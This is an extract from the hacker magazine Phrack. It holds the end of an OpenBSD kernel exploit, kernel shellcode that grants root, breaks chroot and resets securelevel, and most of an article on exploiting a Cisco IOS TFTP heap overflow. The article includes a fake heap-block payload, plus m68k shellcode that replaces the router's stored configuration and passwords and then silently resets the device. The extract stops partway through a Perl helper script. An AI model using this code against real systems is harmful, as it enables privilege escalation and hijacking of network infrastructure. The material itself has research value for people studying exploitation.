which += 0x10;

}

printf("\nusing p_cred instead of u_cred, only the new process " "will be priviliged\n");

out:

which = which >> 4;

printf("which: %.8x\n", which);

printf("addr to overwrite: %.8x\n", stat + 0x90 + (which * 0x10)); }

<‑‑> ./ex_kernel/ex_setitimer_obsd.c

<++> ./ex_kernel/kernel_sc.s

# kernel level shellcode

# noir@olympos.org | noir@uberhax0r.net

# 2002

.text

.align 2,0x90

.globl _main

.type_main , @function

_main:

call moo

.long 0x12345678

.long 0xdeadcafe

.long 0xbeefdead

nop

nop

nop

moo:

pop %edi

mov (%edi),%ecx # parent's proc addr on ecx

# update p_cred‑>p_ruid

mov 0x10(%ecx),%ebx # ebx = p_cred

xor %eax,%eax # eax = 0

mov %eax,0x4(%ebx)

# p_ruid = 0

# update pc_ucred‑>cr_uid

mov (%ebx),%edx # edx = pc_ucred

mov %eax,0x4(%edx)

# cr_uid = 0

# update p_fd‑>fd_rdir to break chroot()

mov 0x14(%ecx),%edx # edx = p_fd

mov %eax,0xc(%edx)

# p_fd‑>fd_rdir = 0

lea 0x68(%esp),%ebp

# set ebp to normal

# find where to return: sidt technique

sidt 0x4(%edi)

mov 0x6(%edi),%ebx # mov _idt_region in eax

mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*long) = 0x400] mov 0x404(%ebx),%ecx # _idt_region[0x404]

shr $0x10,%ecx

sal $0x10,%ecx

sal $0x10,%edx

shr $0x10,%edx

or %ecx,%edx # edx = ecx | edx; _Xosyscall_end

# search for Xosyscall_end+XXX: call _syscall instruction

xor %ecx,%ecx

up:

inc %ecx

movb (%edx,%ecx),%bl

cmpb $0xe8,%bl

jne up

lea (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall

inc %ecx

mov (%edx,%ecx),%ecx # take the displacement of the call ins. add $0x5,%ecx # add 5 to displacement

add %ebx,%ecx # ecx = _Xosyscall_end+0x20 + disp

# search for _syscall+0xXXX: call *%eax

# and return to where we were supposed to!

# _syscall+0x240: ff

# _syscall+0x241: d00x240,0x241 on obsd3.1

mov %ecx,%edi # ecx is addr of _syscall

movw $0xd0ff,%ax

cld

mov $0xffffffff,%ecx

repnz

scasw #scan (%edi++) for %ax

#return to *%edi

xor %eax,%eax #set up the return value to Success ;)

push %edi

ret

<‑‑> ./ex_kernel/kernel_sc.s

<++> ./ex_kernel/secl_sc.s

# securelevel reset shellcode

# noir@olympos.org | noir@uberhax0r.net

# 2002

.text

.align 2,0x90

.globl _main

.type_main , @function

_main:

call moo

.long 0x12345678

moo:

pop %edi

mov (%edi),%ebx # address of securelevel

xor %eax,%eax # eax = 0

mov %eax,(%ebx)

# securelevel = 0

lea 0x68(%esp),%ebp

# set ebp to normal

# find where to return: sidt technique

sidt 0x4(%edi)

mov 0x6(%edi),%ebx # mov _idt_region in eax

mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*long) = 0x400] mov 0x404(%ebx),%ecx # _idt_region[0x404]

shr $0x10,%ecx

sal $0x10,%ecx

sal $0x10,%edx

shr $0x10,%edx

or %ecx,%edx # edx = ecx | edx; _Xosyscall_end

# search for Xosyscall_end+XXX: call _syscall instruction

xor %ecx,%ecx

up:

inc %ecx

movb (%edx,%ecx),%bl

cmpb $0xe8,%bl

jne up

lea (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall

inc %ecx

mov (%edx,%ecx),%ecx # take the displacement of the call ins. add $0x5,%ecx # add 5 to displacement

add %ebx,%ecx # ecx = _Xosyscall_end+0x20 + disp

# search for _syscall+0xXXX: call *%eax

# and return to where we were supposed to!

# _syscall+0x240: ff

# _syscall+0x241: d0OBSD3.1

mov %ecx,%edi # ecx is addr of _syscall

movw $0xd0ff,%ax

cld

mov $0xffffffff,%ecx

repnz

scasw #scan (%edi++) for %ax

#return to *%edi

xor %eax,%eax #set up the return value to Success ;)

push %edi

ret

<‑‑> ./ex_kernel/secl_sc.s

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Burning the bridge

==Phrack Inc.==

Volume 0x0b, Issue 0x3c, Phile #0x07 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Burning the bridge: Cisco IOS exploits ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ FX of Phenoelit <fx@phenoelit.de> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction and Limitations

2 ‑ Identification of an overflow

3 ‑ IOS memory layout sniplets

4 ‑ A free() exploit materializes

5 ‑ Writing (shell)code for Cisco

6 ‑ Everything not covered in 1‑5

‑‑[ 1 ‑ Introduction and Limitations

This article is to introduce the reader into the fun land of exploiting a routing device made by Cisco Systems. It is not the final word on this toppic and merely reflects our research results.

According to Cisco Systems, around 85% of all software issues in IOS are the direct or indirect result of memory corruptions. By the time of this writing, yours truly is not aware of one single case, where overflowing something in Cisco IOS led to a direct overwrite of a return address. Although there are things like stacks in IOS, it seems to be very uncommon for IOS coders to use local function buffers. Therefore, most (if not all) overflows we will encounter are some way or anyother heap based.

As a fellow researcher used to say, bugs are not an unlimited resource. Especially overflow bugs in Cisco IOS are fairly rare and not easily compared to each other. This article will therefore limit the discussion to one particular bug: the Cisco IOS TFTP server filename overflow. When using your router as a TFTP server for files in the flash filesystem, a TFTP GET request with a long (700 characters) filename will cause the router to crash. This happens in all IOS versions from 11.1 to 11.3. The reader might argue the point that this is no longer a widely used branch, but yours truly asks you to bare with him to the end of this article.

The research results and methods presented here were collected during inspection and exploitation attempts using the already mentioned TFTP bug. By the time of this writing, other bugs are researched and different approaches are tested, but the here presented procedure is still seen as the most promising for widespread use. This translates to: use your favorite private Cisco IOS overflow and try it.

‑‑[ 2 ‑ Identification of an overflow

While the reader is probably used to identify stack smashing in a split second on a commonly used operating system, he might have difficulties identifying an overflow in IOS. As yours truly already mentioned, most overflows are heap based. There are two different ways in IOS to identify a heap overflow when it happens. Being connected to the console, the reader might see output like this:

01:14:16: %SYS‑3‑OVERRUN: Block overrun at 2C01E14 (red zone 41414141) ‑Traceback= 80CCC46 80CE776 80CF1BA 80CF300

01:14:16: %SYS‑6‑MTRACE: mallocfree: addr, pc 20E3ADC,80CA1D8 20DFBE0,80CA1D8 20CF4FC,80CA1D8 20C851C,80CA1D8 20C6F20,80CA1D8 20B43FC,80CA1D8 20AE130,80CA1D8 2075214,80CA1D8 01:14:16: %SYS‑6‑MTRACE: mallocfree: addr, pc 20651E0,80CA1D8 205EF04,80CA1D8 205B338,80CA1D8 205AB80,80CA1D8 20AFCF8,80CA1C6 205A664,80CA1D8 20AC56C,80CA1C6 20B1A88,80CA1C6 01:14:16: %SYS‑6‑BLKINFO: Corrupted redzone blk 2C01E14, words 382, alloc 80ABBFC, InUse, dealloc 206E2F0, rfcnt 1

In this case, an IOS process called "Check heaps", of which we will hear a lot more later, has identified a problem in the heap structures. After doing so, "Check heaps" will cause what we call a software forced crash. It means that the process kills the Cisco and makes it reboot in order to get rid of the problem. We all know this behavior from users of MS‑DOS or Windows based systems. What happend here is that an A‑Strip overwrote a boundary between two heap memory blocks. This is protected by what Cisco calls a "RED ZONE", which in fact is just a static canary.

The other way a heap overflow could manifest itself on your console is an access violation:

*** BUS ERROR ***

access address = 0x5f227998

program counter = 0x80ad45a

status register = 0x2700

vbr at time of exception = 0x4000000

special status word = 0x0045

faulted cycle was a longword read

This is the case when you are lucky and half of the work is already done. IOS used a value that you somehow influenced and referenced to not readable memory. Unfortunately, those overflows are later harder to exploit, since tracking is a lot more difficult.

At this point in time, you should try to figure out under which exact circumstances the overflow happens ‑ pretty much like with every other bug you find. If the lower limit of your buffer size changes, try to make sure that you don't play with the console or telnet(1) connections to the router during your tests. The best is always to test the buffer length with a just rebooted router. While it doesn't change much for most overflows, some react differently when the system is freshly rebooted compared to a system in use.

‑‑[ 3 ‑ IOS memory layout sniplets

To get any further with the overflow, we need to look at the way IOS organizes memory. There are basically two main areas in IOS: process memory and IO memory. The later is used for packet buffers, interface ring buffers and so on and can be of interest for exploitation but does not provide some of the critical things we are looking for. The process memory on the other hand behaves a lot like dynamic heap memory in Linux.

Memory in IOS is split up in blocks. There seems to be a number of pointer tables and meta structures dealing with the memory blocks and making sure IOS can access them in an efficient way. But at the end of the day, the blocks are hold together in a linked list structure and store their management information mostly inline. This means, every memory block has a header, which contains information about the block, it's previous one and the next one in the list.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

.‑‑ | Block A | <‑.

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

+‑> | Block B | ‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Block C |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

The command "show memory processor" clearly shows the linked list structure.

A memory block itself consists of the block header with all the inline management information, the data part where the actual data is stored and the red zone, which we already encountered. The format is as follows:

|<‑ 32 bit ‑>| Comment

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| MAGIC | Static value 0xAB1234CD +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| PID | IOS process ID

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Alloc Check | Area the allocating process uses for checks +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Alloc name | Pointer to string with process name +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Alloc PC | Code address that allocated this block +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| NEXT BLOCK | Pointer to the next block +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| PREV BLOCK | Pointer to the previous block +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| BLOCK SIZE | Size of the block (MSB marks "in use") +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Reference # | Reference count (again ???) +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Last Deallc | Last deallocation address

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| DATA |

| |

....

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| RED ZONE | Static value 0xFD0110DF +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

In case this memory block is used, the size field will have it's most significant bit set to one. The size is represented in words (2 bytes), and does not include the block overhead. The reference count field is obviously designed to keep track of the number of processes using this block, but yours truly has never seen this being something else then 1 or 0. Also, there seem to be no checks for this field in place.

In case the memory block is not used, some more management data is introduced at the point where the real data was stored before:

| [BLOCK HEAD] |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| MAGIC2 | Static value 0xDEADBEEF +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Somestuff |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| PADDING |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| PADDING |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| FREE NEXT | Pointer to the next free block +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| FREE PREV | Pointer to the previous free block +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

....

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| RED ZONE | Static value 0xFD0110DF +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Therefore, a free block is an element in two different linked lists: One for the blocks in general (free or not), another one for the list of free memory blocks. In this case, the reference count will be zero and the MSB of the size field is not set. Additionally, if a block was used at least once, the data part of the block will be filled with 0x0D0D0D0D. IOS actually overwrites the block data when a free() takes place to prevent software issues from getting out of hand.

At this point, yours truly would like to return to the toppic of the "Check heaps" process. It is here to run about once a minute and checks the doubly linked lists of blocks. It basically walks them down from top to buttom to see if everything is fine. The tests employed seem to be pretty extensive compared to common operating systems such as Linux. As far as yours truly knows, this is what it checks:

1) Doest the block being with MAGIC (0xAB1234CD)?

2) If the block is in use (MSB in size field is set), check if the red zone is there and contains 0xFD0110DF.

3) Is the PREV pointer not NULL?

4) If there is a NEXT pointer ...

4.1) Does it point right after the end of this block?

4.2) Does the PREV pointer in the block pointed to by NEXT point back to this block's NEXT pointer?

5) If the NEXT pointer is NULL, does this block end at a memory region/pool boundary [NOTE: not sure about this one].

6) Does the size make sense? [NOTE: The exact test done here is still unknown]

If one of these tests is not satisfied, IOS will declare itself unhappy and perform a software forced crash. To some extend, one can find out which test failed by taking a look at the console output line that says "validblock_diagnose = 1". The number indicates what could be called "class of tests", where 1 means that the MAGIC was not correct, 3 means that the address is not in any memory pool and 5 is really a bunch of tests but mostly indicates that the tests lined out in point 4.1 and 4.2 failed.

‑‑[ 4 ‑ A free() exploit materializes

Now that we know a bit about the IOS memory structure, we can plan to overflow with some more interesting data than just 0x41. The basic idea is to overwrite the next block header, hereby provide some data to IOS, and let it work with this data in a way that gives us control over the CPU. How this is usually done is explained in [1]. The most important difference here is, that we first have to make "Check heaps" happy. Unfortunately, some of the checks are also performed when memory is allocated or free()ed. Therefore, slipping under the timeline of one minute between two "Check heaps" runs is not an option here.

The biggest problems are the PREV pointer check and the size field. Since the vulnerability we are working with here is a string overflow, we also have the problem of not being able to use 0x00 bytes. Let's try to deal with the issues we have one by one.

The PREV pointer has to be correct. Yours truly has not found any way to use arbitrary values here. The check outlined in the checklist as 4.2 is a serious problem, since it is done on the block we are sitting in ‑ not the one we are overflowing. To illustrate the situation:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Block Head |

...

| AAAAAAAAAAAA | <‑‑‑ You are here

| AAAAAAAAAAAA |

| AAAAAAAAAAAA |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| RED ZONE | <‑‑‑ Your data here +==============+

| Block Head |

...

We will call the uppermost block, who's data part we are overflowing, the "host block", because it basically "hosts" our evildoing. For the sake of clarity, we will call the overwritten block header the "fake block", since we try to fake it's contents.

So, when "Check heaps" or comparable checks during malloc() and free() are performed on our host block, the overwrite is already noticed. First of all, we have to append the red zone canary to our buffer. If we overflow exactly with the number of bytes the buffer can hold and append the red zone dword 0xFD0110DF, "Check heaps" will not complain. From here one, it's fair game up to the PREV ptr ‑ because the values are either static (MAGIC) or totally ignored (PID, Alloc ptrs).

Assumed we overwrite RED ZONE, MAGIC, PID, the three Alloc pointer, NEXT and PREV, a check performed on the host block will already trigger a software forced crash, since the PREV pointer we overwrote in the next block does not point back to the host block. We have only one way today to deal with this issue: we crash the device. The reason behind this is, that we put it in a fairly predictable memory state. After a reboot, the memory is more or less structured the same way. This also depends on the amount of memory available in the device we are attacking and it's certainly not a good solution. When crashing the device the first time with an A‑Strip, we can try to grab logging information off the network or the syslog server if such a thing is configured. Yours truly is totally aware of the fact that this prevents real‑world application of the technique. For this article, let's just assume you can read the console output.

Now that we know the PREV pointer to put into the fake block, let's go on. For now ignoring the NEXT pointer, we have to deal with the size field. The fact that this is a 32bit field and we are doing a string overflow prevents us from putting reasonable numbers in there. The smallest number for a used block would be 0x80010101 and for an unused one 0x01010101. This is much more than IOS would accept. But to make a long story short, putting 0x7FFFFFFF in there will pass the size field checks. As simple as that.

In this particular case, as with many application level service overflows in IOS, our host block is one of the last blocks in the chain. The most simple case is when the host block is the next‑to‑last block. And viola, this is the case with the TFTP server overflow. In other cases, the attack involves creating more than one fake block header and becomes increasingly complicated but not impossible. But from this point on, the discussion is pretty much centered around the specific bug we are dealing with.

Assumed normal operation, IOS will allocate some block for storing the requested file name. The block after that is the remaining free memory. When IOS is done with the TFTP operation, it will free() the block it just allocated. Then, it will find out that there are two free blocks ‑ one after the other ‑ in memory. To prevent memory fragmentation (a big problem on heavy load routers), IOS will try to coalesce (merge) the free blocks into one. By doing so, the pointers for the linked lists have to be adjusted. The NEXT and PREV pointers of the block before that and the block after that (the remaining free memory) have to be adjusted to point to each other. Additionally, the pointers in the free block info FREE NEXT and FREE PREV have to be adjusted, so the linked list of free blocks is not broken.

Out of the sudden, we have two pointer exchange operations that could really help us. Now, we know that we can not choose the pointer in PREV. Although, we can choose the pointer in NEXT, assumed that "Check heaps" does not fire before our free() tok place, this only allowes us to write the previous pointer to any writable location in the routers memory. Being usefull by itself, we will not look deeper into this but go on to the FREE NEXT and FREE PREV pointers. As the focused reader surely noticed, these two pointers are not validated by "Check heaps".

What makes exploitation of this situation extremely convenient is that fact, that the pointer exchange in FREE PREV and FREE NEXT only relies on the values in those two fields. What happens during the merge operation is this:

+ the value in FREE PREV is written to where FREE NEXT points to plus an offset of 20 bytes

+ the value in FREE NEXT is written to where FREE PREV points to

The only thing we need now is a place to write a pointer to. As with many other pointer based exploits, we are looking for a fairly static location in memory to do this. Such a static location (changes per IOS image) is the process stack of standard processes loaded right after startup. But how do we find it?

In the IOS memory list, there is an element called the "Process Array". This is a list of pointers ‑ one for every process currently running in IOS. You can find it's location by issuing a "show memory processor allocating‑process" command (output trimmed):

radio#show memory processor allocating‑process

Processor memory

Address Bytes Prev. Next Ref Alloc Proc Alloc PC What 258AD20 1504 0 258B32C 1 *Init* 20D62F0 List Elements 258B32C 3004 258AD20 258BF14 1 *Init* 20D6316 List ...

258F998 1032 258F914 258FDCC 1 *Init* 20E5108 Process Array 258FDCC 1000 258F998 25901E0 1 Load Meter 20E54BA Process Stack 25901E0 488 258FDCC 25903F4 1 Load Meter 20E54CC Process 25903F4 128 25901E0 25904A0 1 Load Meter 20DD1CE Process Events

This "Process Array" can be displayed by the "show memory" command:

radio#show memory 0x258F998

0258F990: AB1234CD FFFFFFFE +.4M...~ 0258F9A0: 00000000 020E50B6 020E5108 0258FDCC ......P6..Q..X}L 0258F9B0: 0258F928 80000206 00000001 020E1778 .Xy(...........x 0258F9C0: 00000000 00000028 02590208 025D74C0 .......(.Y...]t@ 0258F9D0: 02596F3C 02598208 025A0A04 025A2F34 .Yo<.Y...Z...Z/4 0258F9E0: 025AC1FC 025BD554 025BE920 025BFD2C .ZA|.[UT.[i .[}, 0258F9F0: 025E6FF0 025E949C 025EA95C 025EC484 .^op.^...^)\.^D. 0258FA00: 025EF404 0262F628 026310DC 02632FD8 .^t..bv(.c.\.c/X 0258FA10: 02634350 02635634 0263F7A8 026418C0 .cCP.cV4.cw(.d.@ 0258FA20: 026435FC 026475E0 025D7A38 026507E8 .d5|.du`.]z8.e.h 0258FA30: 026527DC 02652AF4 02657200 02657518 .e'\.e*t.er..eu. 0258FA40: 02657830 02657B48 02657E60 0269DCFC .ex0.e{H.e~`.i\| 0258FA50: 0269EFE0 026A02C4 025DD870 00000000 .io`.j.D.]Xp.... 0258FA60: 00000000 025C3358 026695EC 0266A370 .....\3X.f.l.f#p

While you also see the already discussed block header format in action now, the interesting information starts at 0x0258F9C4. Here, you find the number of processes currently running on IOS. They are ordered by their process ID. What we are looking for is a process that gets executed every once in a while. The reason for this is, if we modify something in the process data structures, we don't want the process being active at this point in time, so that the location we are overwriting is static. For this reason, yours truly picked the "Load Meter" process, which is there to measure the system load and is fired off about every 30 seconds. Let's get the PID of "Load Meter":

radio#show processes cpu

CPU utilization for five seconds: 2%/0%; one minute: 3%; five minutes: 3% PID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTY Process 1 80 1765 45 0.00% 0.00% 0.00% 0 Load Meter

Well, conveniently, this process has PID 1. Now, we check the memory location the "Process Array" points to. Yours truly calls this memory location "process record", since it seems to contain everything IOS needs to know about the process. The first two entries in the record are:

radio#sh mem 0x02590208

02590200: 0258FDF4 025901AC .X}t.Y., 02590210: 00001388 020E488E 00000000 00000000 ......H......... 02590220: 00000000 00000000 00000000 00000000 ................

The first entry in this record is 0x0258FDF4, which is the process stack. You can compare this to the line above that says "Load Meter" and "Process Stack" on it in the output of "show memory processor allocating‑process". The second element is the current stack pointer of this process (0x025901AC). By now it should also be clear why we want to pick a process with low activity. But surprisingly, the same procedure also works quite well with busier processes such as "IP Input". Inspecting the location of the stack pointer, we see something quite familiar:

radio#sh mem 0x025901AC

025901A0: 025901C4 .Y.D 025901B0: 020DC478 0256CAF8 025902DE 00000000 ..Dx.VJx.Y.^....

This is classic C calling convention: first we find the former frame pointer and then we find the return address. Therefore, 0x025901B0 is the address we are targeting to overwrite with a pointer supplied by us.

The only question left is: Where do we want the return address to point to? As already mentioned, IOS will overwrite the buffer we are filling with 0x0D0D0D0D when the free() is executed ‑ so this is not a good place to have your code in. On the other hand, the fake block's data section is already considered clean from IOS's point of view, so we just append our code to the fake block header we already have to send. But what's the address of this? Well, since we have to know the previous pointer, we can calculate the address of our code as offset to this one ‑ and it turns out that this is actually a static number in this case. There are other, more advanced methods to deliver the code to the device, but let's keep focused.

The TFTP filename we are asking for should now have the form of:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| AAAAAAAAAAAA |

...

| AAAAAAAAAAAA |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| FAKE BLOCK |

| |

....

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| CODE |

| |

....

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

At this point, we can build the fake block using all the information we gathered:

char fakeblock[] = "\xFD\x01\x10\xDF" // RED

"\xAB\x12\x34\xCD" // MAGIC

"\xFF\xFF\xFF\xFF" // PID

"\x80\x81\x82\x83" //

"\x08\x0C\xBB\x76" // NAME

"\x80\x8a\x8b\x8c" //

"\x02\x0F\x2A\x04" // NEXT

"\x02\x0F\x16\x94" // PREV

"\x7F\xFF\xFF\xFF" // SIZE

"\x01\x01\x01\x01" //

"\xA0\xA0\xA0\xA0" // padding

"\xDE\xAD\xBE\xEF" // MAGIC2

"\x8A\x8B\x8C\x8D" //

"\xFF\xFF\xFF\xFF" // padding

"\xFF\xFF\xFF\xFF" // padding

"\x02\x0F\x2A\x24" // FREE NEXT (in BUFFER)

"\x02\x59\x01\xB0" // FREE PREV (Load Meter return addr)

;

When sending this to the Cisco, you are likely to see something like this:

*** EXCEPTION ***

illegal instruction interrupt

program counter = 0x20f2a24

status register = 0x2700

vbr at time of exception = 0x4000000

depending on what comes after your fake block header. Of course, we did not provide code for execution yet. But at this point in time, we got the CPU redirected into our buffer.

‑‑[ 5 ‑ Writing (shell)code for Cisco

Before one can write code for the Cisco platform, you have to decide on the general processor architecture you are attacking. For the purpose of this paper, we will focus on the lower range devices running on Motorola 68k CPUs.

Now the question is, what do you want to do with your code on the system. Classic shell code design for commonly used operating system platforms uses syscalls or library functions to perform some port binding and provide shell access to the attacker. The problem with Cisco IOS is, that we will have a hard time keeping it alive after we performed our pointer games. This is because in contrast to "normal" daemons, we destroyed the memory management of the operating system core and we can not expect it to cope with the mess we left for it.

Additionally, the design of IOS does not feature transparent syscalls as far as yours truly knows. Because of it's monolithic design, things are linked together at build time. There might be ways to call different subfunctions of IOS even after an heap overflow attack, but it appears to be an inefficient route to take for exploitation and would make the whole process even more instable.

The other way is to change the routers configuration and reboot it, so it will come up with the new config, which you provided. This is far more simpler than trying to figure out syscalls or call stack setups. The idea behind this approach is, that you don't need any IOS functionality anymore. Because of this, you don't have to figure out addresses and other vital information about the IOS. All you have to know is which NVRAM chips are used in the box and where there are mapped. This might sound way more complicated than identifying functions in an IOS image ‑ but is not. In contrast to common operating systems on PC platforms, where the number of possible hardware combinations and memory mappings by far exceedes a feasable mapping range, it's the other way around for Cisco routers. You can have more than ten different IOS images on a single platform ‑ and this is only one branch ‑ but you always have the same general memory layout and the ICs don't change for the most part. The only thing that may differ between two boxes are the modules and the size of available memory (RAM, NVRAM and Flash), but this is not of big concern for us.

The non‑volatile random access memory (NVRAM) stores the configuration of a Cisco router in most cases. The configuration itself is stored in plain text as one continious C‑style string or text file and is terminated by the keyword 'end' and one or more 0x00 bytes. A header structure contains information like the IOS version that created this configuration, the size of it and a checksum. If we replace the config on the NVRAM with our own and calculate the numbers for the header structure correctly, the router will use our IP addresses, routings, access lists and (most important) passwords next time it reloads.

As one can see on the memory maps [2], there are one (in the worst case two) possible memory addresses for the NVRAM for each platform. Since the NVRAM is mapped into the memory just like most memory chips are, we can access it with simple memory move operations. Therefore, the only thing we need for our "shell" code is the CPU (M68k), it's address and data bus and the cooperation of the NVRAM chip.

There are things to keep in mind about NVRAM. First of all, it's slow to write to. The Xicor chips yours truly encountered on Cisco routers require that after a write, the address lines are kept unchanged for the time the chip needs to write the data. A control register will signal when the write operation is done. Since the location of this control register is not known and might not be the same for different types of the same platform, yours truly prefers to use delay loops to give the chip time to write the data since speed is not the attackers problem here.

Now, that we know pretty much what we want to do, we can go on and look at the "how" part of things. First of all, you need to produce assembly for the target platform. A little known fact is, that IOS is actually build (at least some times) using GNU compilers. Therefore, the binutils[3] package can be compiled to build Cisco compatible code by setting the target platform for the ./configure run to ‑‑target=m68k‑aout. When you are done, you will have a m68k‑aout‑as binary, which can produce your code and a m68k‑aout‑objdump to get the OP code values.

In case the reader is fluent in Motorola 68000 assembly, I would like to apologize for the bad style, but yours truly grew up on Intel. Optimizations and style guides are welcome. Anyway, let's start coding.

For a string overflow scenario like this one, the recommended way for small code is to use self‑modification. The main code will be XOR'd with a pattern like 0x55 or 0xD5 to make sure that no 0x00 bytes show up. A bootstrap code will decode the main code and pass execution on to it. The Cisco 1600 platform with it's 68360 does not have any caching issues to worry us (thanks to LSD for pointing this out), so the only issue we have is avoiding 0x00 bytes in the bootstrap code. Here is how it works:

‑‑‑ bootstrap.s ‑‑‑

.globl _start

_start:

| Remove write protection for NVRAM.

| Protection is Bit 1 in BR7 for 0x0E000000

move.l #0x0FF010C2,%a1

lsr (%a1)

| fix the brance opcode

| 'bne decode_loop' is OP code 0x6600 and this is bad lea broken_branch+0x101(%pc),%a3

sub.a #0x0101,%a3

lsr (%a3)

| perform dummy load, where 0x01010101 is then replaced | by our stack ptr value due to the other side of the pointer | exchange

move.l #0x01010101,%d1

| get address of the real code appended plus 0x0101 to | prevent 0x00 bytes

lea xor_code+0x0101(%pc),%a2

sub.a #0x0101,%a2

| prepare the decode register (XOR pattern) move.w #0xD5D5,%d1

decode_loop:

| Decode our main payload code and the config

eor.w %d1,(%a2)+

| check for the termination flag (greetings to Bine) cmpi.l #0xCAFEF00D,(%a2)

broken_branch:

| this used to be 'bne decode_loop' or 0x6600FFF6 .byte 0xCC,0x01,0xFF,0xF6

xor_code:

‑‑‑ end bootstrap.s ‑‑‑

You may assemble the code into an object file using:

linux# m68k‑aout‑as ‑m68360 ‑pic ‑‑pcrel ‑o bootstrap.o bootstrap.s

There are a few things to say about the code. Number one are the first two instructions. The CPU we are dealing with supports write protection for memory segments [4]. Information about the memory segments is stored in so‑called "Base Registers", BR0 to BR7. These are mapped into memory at 0x0FF00000 and later. The one we are interested in (BR7) is at 0x0FF010C2. Bit0 tells the CPU if this memory is valid and Bit1 if it's write protected, so the only thing we need to do is to shift the lower byte one Bit to the right. The write protection Bit is cleared and the valid Bit is still in place.

The second thing of mild interest is the broken branch code, but the explaination in the source should make this clear: the OP code of "BNE" unfortunately is 0x6600. So we shift the whole first word one to the right and when the code runs, this is corrected.

The third thing is the dummy move to d1. If the reader would refer back to the place we discussed the pointer exchange, he will notice that there is a "back" part in this operation: namely the stack address is written to our code plus 20 bytes (or 0x14). So we use a move operation that translates to the OP code of 0x223c01010101, located at offset 0x12 in our code. After the pointer exchange takes place, the 0x01010101 part is replaced by the pointer ‑ which is then innocently moved to the d1 register and ignored.

When this code completed execution, the appended XOR'd code and config should be in memory in all clear text/code. The only thing we have to do now is copy the config in the NVRAM. Here is the appropriate code to do this:

‑‑‑ config_copy.s ‑‑‑

.globl _start

_start:

| turn off interrupts

move.w#0x2700,%sr;

move.l#0x0FF010C2,%a1

move.w#0x0001,(%a1)

| Get position of appended config and write it with delay leaconfig(%pc),%a2

move.l#0x0E0002AE,%a1

move.l#0x00000001,%d2

copy_confg:

move.b(%a2)+,(%a1)+

| delay loop

move.l#0x0000FFFF,%d1

write_delay:

subx%d2,%d1

bmiwrite_delay

cmp.l#0xCAFEF00D,(%a2)

bnecopy_confg

| delete old config to prevent checksum errors

delete_confg:

move.w#0x0000,(%a1)+

move.l#0x0000FFFF,%d1

| delay loop

write_delay2:

subx%d2,%d1

bmiwrite_delay2

cmp.l#0x0E002000,%a1

bltdelete_confg

| perform HARD RESET

CPUReset:

move.w#0x2700,%sr

moveal#0x0FF00000,%a0

moveal(%a0),%sp

moveal#0x0FF00004,%a0

moveal(%a0),%a0

jmp(%a0)

config:

‑‑‑ end config_copy.s ‑‑‑

There is no particular magic about this part of the code. The only thing worth noticing is the final CPU reset. There is reason why we do this. If we just crash the router, there might be exception handlers in place to save the call stack and other stuff to the NVRAM. This might change checksums in an unpredictable way and we don't want to do this. The other reason is, that a clean reset makes the router look like it was rebooted by an administrator using the "reload" command. So we don't raise any questions despite the completely changed configuration ;‑)

The config_copy code and the config itself must now be XOR encoded with the pattern we used in the bootstrap code. Also, you may want to put the code into a nice char array for easy use in a C program. For this, yours truly uses a dead simple but efficient Perl script:

‑‑‑ objdump2c.pl ‑‑‑

#!/usr/bin/perl

$pattern=hex(shift);

$addressline=hex(shift);

while (<STDIN>) {

chomp;

if (/[0‑9a‑f]+:\t/) { (undef,$hexcode,$mnemonic)=split(/\t/,$_);

$hexcode=~s/ //g;

$hexcode=~s/([0‑9a‑f]{2})/$1 /g;

$alc=sprintf("%08X",$addressline); $addressline=$addressline+(length($hexcode)/3);

@bytes=split(/ /,$hexcode);

$tabnum=4‑(length($hexcode)/8);

$tabs="\t"x$tabnum;

$hexcode="";

foreach (@bytes) {

$_=hex($_);

$_=$_^$pattern if($pattern); $hexcode.=sprintf("\\x%02X",$_);

}

